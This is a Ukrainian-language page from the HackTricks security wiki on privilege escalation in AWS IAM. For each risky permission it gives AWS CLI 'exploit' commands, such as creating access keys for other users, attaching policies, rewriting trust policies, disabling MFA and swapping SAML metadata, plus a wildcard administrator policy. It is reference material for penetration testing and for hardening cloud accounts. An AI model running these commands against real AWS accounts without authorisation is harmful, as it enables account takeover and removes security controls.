AWS - IAM Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

IAM

Для отримання додаткової інформації про IAM перегляньте:

pageAWS - IAM Enum

iam:CreatePolicyVersion

Надає можливість створювати нову версію політики IAM, обходячи необхідність дозволу iam:SetDefaultPolicyVersion, використовуючи прапорець --set-as-default. Це дозволяє визначати власні дозволи.

Команда експлойту:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Вплив: Пряме підвищення привілеїв, дозволяючи будь-яку дію на будь-якому ресурсі.

iam:SetDefaultPolicyVersion

Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, що потенційно може призвести до підвищення привілеїв, якщо нова версія має більше дозволів.

Bash Команда:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Вплив: Непряме підвищення привілеїв шляхом надання додаткових дозволів.

iam:CreateAccessKey

Дозволяє створювати ідентифікатор ключа доступу та секретний ключ доступу для іншого користувача, що може призвести до потенційного підвищення привілеїв.

Експлойт:

aws iam create-access-key --user-name <target_user>

Вплив: Пряме підвищення привілеїв шляхом припущення розширених дозволів іншого користувача.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в консоль AWS, що призводить до прямого підвищення привілеїв.

Експлойт для створення:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Використання для Оновлення:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Вплив: Пряме підвищення привілеїв шляхом входу під будь-яким користувачем.

iam:UpdateAccessKey

Дозволяє увімкнути вимкнений ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має вимкнений ключ.

Експлойт:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Вплив: Пряме підвищення привілеїв шляхом активації ключів доступу.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Дозволяє генерувати або скидати облікові дані для конкретних служб AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи пов'язаного користувача.

Експлойт для створення:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Вплив: Пряме підвищення привілеїв в межах дозволів користувача.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Дозволяє прикріплювати політики до користувачів або груп, пряме підвищення привілеїв шляхом успадкування дозволів прикріпленої політики.

Експлойт для користувача:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Експлойт для Групи:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Вплив: Пряме підвищення привілеїв до всього, що надає політика.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв шляхом надання додаткових дозволів.

Експлойт для Ролі:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Використання для Вбудованих Політик:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Ви можете використовувати політику такого типу:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Вплив: Пряме підвищення привілеїв шляхом додавання дозволів через політики.

iam:AddUserToGroup

Дозволяє додавати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи.

Експлойт:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Вплив: Пряме підвищення привілеїв до рівня дозволів групи.

iam:UpdateAssumeRolePolicy

Дозволяє змінювати документ політики припущення ролі ролі, що дозволяє припущення ролі та пов'язаних з нею дозволів.

Експлойт:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Де політика виглядає наступним чином, що надає користувачу дозвіл на припущення ролі:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Вплив: Пряме підвищення привілеїв шляхом припущення дозволів будь-якої ролі.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Дозволяє завантажувати публічний ключ SSH для аутентифікації в CodeCommit та деактивувати пристрої багатофакторної аутентифікації, що може призвести до потенційного опосередкованого підвищення привілеїв.

Експлойт для завантаження SSH-ключа:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Використання для деактивації MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Вплив: Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA.

iam:ResyncMFADevice

Дозволяє пересинхронізувати пристрій MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпулювання захистом MFA.

Bash Команда:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Вплив: Непряме підвищення привілеїв шляхом додавання або маніпулювання пристроями MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

З цими дозволами ви можете змінювати XML-метадані підключення SAML. Потім ви можете зловживати федерацією SAML, щоб увійти з будь-якою роллю, яка йому довіряє.

Зверніть увагу, що законні користувачі не зможуть увійти. Однак ви можете отримати XML, щоб вставити свій, увійти та налаштувати попереднє значення.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Завдання: Інструмент, який може генерувати метадані SAML та вхід з вказаною роллю

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Не впевнений у цьому) Якщо у зловмисника є ці дозволи, він може додати новий відбиток для управління входом у всі ролі, які довіряють провайдеру.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated